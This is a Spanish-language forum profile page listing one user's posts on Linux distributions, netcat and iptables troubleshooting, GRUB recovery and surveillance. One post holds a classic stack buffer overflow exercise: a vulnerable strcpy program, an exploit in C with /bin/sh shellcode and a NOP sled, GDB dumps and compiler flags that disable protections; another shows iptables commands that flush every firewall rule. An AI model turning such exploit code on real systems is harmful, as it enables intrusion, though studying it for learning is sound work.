Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Belial & Grimoire

#41
hola

tengo pensado hacer un cambio de sistema, actualmente uso fedora, la version 17 me gusto, lo actualice a la version 18 y al principio tuve problemas pero despues de algunas actualizaciones se arreglo

pero actualmente he tenido muchisimos problemas con la tarjeta de video, si utilizo las nuevas versiones del kernel 3.10, va lentisimo mi sistema con el driver de amd, la otra opcion es usar el driver libre, pero la temperatura de mi sistema aumenta demasiado y mi ventilador nunca descansa

anteriomente utilice ubuntu, el cual me dejo de gustar por sus frecuentes bugs, cambie a debian pero siempre tenia problemas con las nuevas actualizaciones, al principio no me importaban pero como iba avanzando en el manejo de linux, hubo cosas que me interesaron pero no podia hacerlas porque necesitaba ciertas librerias actualizadas y debian espera bastante tiempo, ya que tampoco me gusta mucho las versiones beta

tambien pase un poco por opensuse, pero eso fue hace años, y no se que tan bien ande ahora y por varias otras variantes que existen PCLinuxOS, kubuntu, Xevian, etc...

entonces me gustaria saber si alguien me puede recomendar alguna distro que sean equivalente o mejor a debian o fedora, que son los que mas me han gustado hasta ahora, tambien que funcionen mejor con gnome ya que uso bastante GTK

bueno, salu2

#42
hola

ya lo logre, el problema es iptables, y digo "es", porque tuve que desactivar todo iptables para lograr la conexion, alguien me podria decir que comandos me funcionarian para que no se bloque la conexion?

primero le di permiso a ip_forward "1", y di todos lo accesos a iptables

iptables -F
iptables -X
iptables -Z
iptables -t nat -F
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT

pero me gustaria solo darle acceso a la ip correspondiente y abrir un solo puerto


#43
pues me sale este mensaje de error

192.168.2.3: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [192.168.2.3] 8888 (?): TIMEDOUT
sent 0, rcvd 0: NOTSOCK

lo hice tambien como en el ejemplo que pusiste, pero me sigue apareciendo lo mismo, y no se logra conectar
#44
hola

Estoy intentando conectar a netcat entre linux, que esta instalado en mi computadora y windows que esta en virtualbox, la conexion de linux hacia windows se hace correctamente, pero cuando intento conectar netcat desde windows hacia linux no se logra ninguna conexion

VirtualBox lo tengo como bridge(puente) para utilizar una ip de mi router, y he intentado desactivar el firewall pero no hay conexion

alguien sabe porque no se logra conectar netcat desde windows hacia linux?, porque como comente hace un momento, desde linux hacia windows si se puede
#45
jaja todavia recuerdo ese tema, yo participe alli varias veces, que recuerdos...

no entendi bien lo que preguntas, pero si lo que quieres saber es como reiniciar si se encuentra desconectado el socket, busca mas adelante en ese tema, alli explican como puedes reiniciar el socket si detectan que esta desconectado, incluso por alli hice un codigo diferente, podrias verificarlo y checkar como reiniciar el socket para tenerlo a la escucha hasta recibir una conexion

salu2
#46
GNU/Linux / Re: Instalar Windows con Linux
8 Septiembre 2013, 19:26 PM
para mover la cantidad de espacio de un lado a otro puedes usar gparted, siempre y cuando los use como cd live porque trabajara con las dos particiones y necesitan estar libres

para recuperar grub, puedes usar supergrub, es un pequeño cd live con el que puedes recuperar tu grub, si no puede el cd recuperarlo, tambien te deja entrar a la particion de linux, ya adentro recupera el grub mediante comandos, en mint no se si sea igual, pero por lo general se usa grub2-mkconfig -o /boot/grub2/grub.cfg
#47
hola

gracias por la respuesta, pero los opcode funcionan bien, tambien la direccion de ret funciona, lo unico que no funciona es el registro de ESP, porque los ceros en hexadecimal no sobreescriben ESP+4, que es el valor del registro donde ret al dirigirse tiene que iniciar y donde comienza la shellcode, y como no sobreescribe ESP+4 con 0x00 al saltar a la direccion de la shellcode, busca un valor erroneo y se provoca un error
#48
Bugs y Exploits / ayuda con un exploit para linux
4 Septiembre 2013, 23:19 PM
hola

Tengo problemas con un ejercicio de un exploit para linux

Este es el codigo a explotar

#include <stdio.h>
#include <string.h>

main(int argc, char **argv){
   
   char buffer[80];
   strcpy(buffer, argv[1]);
   
   return 1;
}


Este es el codigo del exploit

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

// shellcode ripped from http://www.milw0rm.com/shellcode/444

char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

char retaddr[] = "\xaa\xaa\xaa\xaa";

#define NOP 0x90


main()
{
       char buffer[96];

       memset(buffer, NOP, 96);

       memcpy(buffer, "EGG=", 4);

       memcpy(buffer+4, shellcode, 24);

       memcpy(buffer+88, retaddr, 4);
       memcpy(buffer+92, "\x00\x00\x00\x00", 4);

       putenv(buffer);

       system("/bin/sh");

       return 0;

}



Cuando lo compilo, lo depuro con GDB, el objetivo es meter en ret la direccion de inicio donde se encuentra la shellcode y meter en ESP el valor del inicio de la shellcode, asi que sobreescribo el buffer, despues sobreescribo ebp, pero en el codigo de arriba, ret se sobreescribe con x90 y esp+4 se sobreescribe con la direccion de ret

(gdb) x/22xw $esp
0xffffcfe0:   0x00000000   0x0804824c   0xffffffff   0x47488023
0xffffcff0:   0x47462a3c   0xf7ffc3d0   0x474edfd0   0x080482bd
0xffffd000:   0x00010000   0x476061d8   0x0804a000   0x08048492
0xffffd010:   0x00000002   0xffffd0d4   0xffffd0e0   0x474881ad
0xffffd020:   0x476083c4   0x00001000   0x0804844b   0x47608000
0xffffd030:   0x08048440   0x00000000

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0x90909090   0xaaaaaaaa

Este es ret y esp+4

0xffffd030:   0x08048440   0x00000000

y asi queda despues de meter los valores

0xffffd313:   0x90909090   0xaaaaaaaa

Asi que modifique el codigo disminuyendo la cantidad del buffer y quedo asi

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

char retaddr[] = "\xe0\xcf\xff\xff";

#define NOP 0x90


main()
{
       char buffer[92];

       memset(buffer, NOP, 92);

       memcpy(buffer, "EGG=", 4);

       memcpy(buffer+4, shellcode, 24);

       memcpy(buffer+84, retaddr, 4);
       memcpy(buffer+88, "\x00\x00\x00\x00", 4);

       putenv(buffer);

       system("/bin/sh");

       return 0;

}



pero volviendo a verificar con GDB

(gdb) x/22xw argv[1]
0xffffd2cb:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2db:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2eb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2fb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd30b:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd31b:   0xffffcfe0   0x47445800

de esta forma ret queda con el valor de inicio de la shellcode, pero esp queda un valor distinto a 0x00

0xffffd31b:   0xffffcfe0   0x47445800

Y el problema es que deberia quedar asi

0xffffd31b:   0xffffcfe0   0x00000000

Al principio crei que posiblemente no alcanzaba y tanto aumente nop's como disminui pero nada, entonces se me ocurrio modificar el valor de memcpy de buffer+88

memcpy(buffer+88, "\x90\x90\x90\x90", 4);

entonces lo volvi a depurar y miren

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0xffffcfe0   0x90909090


lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi

0xffffd313:   0xffffcfe0   0x00000000

para que ret avance a la direccion 0xffffcfe0 con el valor 0x00000000

Alguien me podria ayudar a solucionarlo porfavor

salu2

EDITO

tengo desactivado randomize_va_space y enforce de SElinux

y los dos estan compilados con los mismo parametros

gcc -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
#49
GNU/Linux / Re: ¿También espían en Linux?
4 Septiembre 2013, 18:32 PM
hola

siempre seremos espiados, y mas por la nación Estado Unidense, recuerden que esta completamente enfermo por obtener mas poder, y la información es poder, así que no necesariamente los sistemas operativos tienen spyware, al instalar software posiblemente tiene spyware, por ejemplo, el explorador de google, los buscadores monitorean las búsquedas, las paginas web registran las ip, las redes sociales son vendidas por cualquiera que pueda pagar por el acesso a una cuenta en especifico y observar todas sus actividades, creo cuesta alrededor de 200 dolares cada cuenta, y ni hablar de las menssengers y los celulares, GPS, sms, etc, etc, etc..., no me sorprenderia que las empresas con las que tenemos contrato de internet tambien usen spyware en su servicio,  claro que no monitorean todas las ip's porque son muchisimas, pero si hay una que les interese, tienen libre accesso a checar nuestros datos
#50
GNU/Linux / Re: Random Freezes/crashes en Centos 6.4
2 Septiembre 2013, 18:35 PM
hola

no encuentro donde escribiste el problema que tienes, talvez se te olvido copiarlo, pero si el problema es virtualbox, ejecutalo en modo consola y verifica si te muestra algun error, tambien asegurate de tener instalado VirtualGuest para los controladores de VirtualBox